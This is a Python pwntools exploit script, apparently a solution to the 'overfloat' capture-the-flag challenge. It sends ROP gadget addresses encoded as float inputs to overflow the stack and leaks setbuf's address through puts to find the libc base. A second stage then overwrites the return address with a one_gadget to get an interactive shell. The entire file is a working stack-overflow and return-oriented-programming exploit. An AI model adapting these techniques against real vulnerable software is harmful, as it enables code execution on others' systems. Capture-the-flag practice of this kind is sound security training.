#!/usr/bin/python

import struct
from pwn import *
from decimal import Decimal
import string
import random 

debug = False

def hexToFloat(conv):
	return struct.unpack('!f', conv.decode('hex'))[0]

def getString(conv):
	d = Decimal(hexToFloat(conv))
	p = abs(d.as_tuple().exponent)
	return (('{:.%df}' % p).format(d))


if debug:
	context.log_level = 'debug'
	env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc-2.27.so")}
	libc=ELF("libc-2.27.so")
	chal=ELF("./overfloat")
	p = process("./overfloat", env=env)
	gdb.attach(p, '''''') # or gdb program `pidof prog`

else:
	env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc-2.27.so")}
	libc=ELF("./libc-2.27.so")
	chal=ELF("./overfloat")
	p = process("./overfloat", env=env)

log.info("Chal setbuf GOT: " + str(hex(chal.got["setbuf"]))[2:].rjust(8,"\x30"))
log.info("Chal puts function: " + str(hex(chal.symbols["puts"]))[2:].rjust(8,"\x30"))
log.info("Chal main function: " + str(hex(chal.symbols["main"]))[2:].rjust(8,"\x30"))

str1="00400a83" # pop rdi; ret
str2=str(hex(chal.got["setbuf"]))[2:].rjust(8,"\x30") 
str3=str(hex(chal.symbols["puts"]))[2:].rjust(8,"\x30")
str4=str(hex(chal.symbols["main"]))[2:].rjust(8,"\x30")

#str2="00602030" # @got.setbuf chal.got["setbuf"] 
#str3="00400690" # @puts chal.symbols["puts"]
#str4="00400993" # main chal.symbols["main"]

junk = "6"
junk_null = "A"
crash_str="done"

for i in xrange(0,7):
	for j in xrange(0,2):
		print p.recvuntil("]:")	
		p.sendline(junk)	

# pop rdi; ret
print p.recvuntil("]:")
p.sendline(getString(str1)[:60])
print p.recvuntil("]:")	
p.sendline(junk_null)	

# @got.setbuf
print p.recvuntil("]:")
p.sendline(getString(str2)[:60])
print p.recvuntil("]:")	
p.sendline(junk_null)	

# @put
print p.recvuntil("]:")
p.sendline(getString(str3)[:60])
print p.recvuntil("]:")	
p.sendline(junk_null)	

# @main
print p.recvuntil("]:")
p.sendline(getString(str4)[:60])
print p.recvuntil("]:")	
p.sendline(junk_null)	

# CRASHING
print p.recvuntil("]:")	
p.sendline(crash_str)

# Getting the LEAK
print p.recvuntil("VOYAGE!\n")
leak = p.recvline()
# Can use repr() Function to parse the tab 
leak_setbuf = u64( leak[0:6].ljust(8, "\x00") )
log.info ("Leak: "+str(hex(leak_setbuf)))

libc_base = leak_setbuf - libc.symbols["setbuf"]
log.info ("Libc Base: " +str(hex(libc_base)))

one_gadget = libc_base + 0x4f2c5
log.info ("One Gadget: " +str(hex(one_gadget)))

#rdi->/bin/sh, rsi->0, rdx->0
# Stage 2 ROP
for i in xrange(0,7):
	for j in xrange(0,2):
		print p.recvuntil("]:")	
		p.sendline(junk)	

one_gadget_1=str(hex(one_gadget))[6:]
log.info("craffting one gadget part 1: "+one_gadget_1)
print p.recvuntil("]:")
p.sendline(getString(one_gadget_1))

one_gadget_2=str(hex(one_gadget))[2:6].rjust(8, "\x30")
log.info("craffting one gadget part 2: "+one_gadget_2)
print p.recvuntil("]:")
p.sendline(getString(one_gadget_2))

# CRASHING
print p.recvuntil("]:")	
p.sendline(junk_null)

print p.recvuntil("]:")
p.sendline(crash_str)

p.interactive()

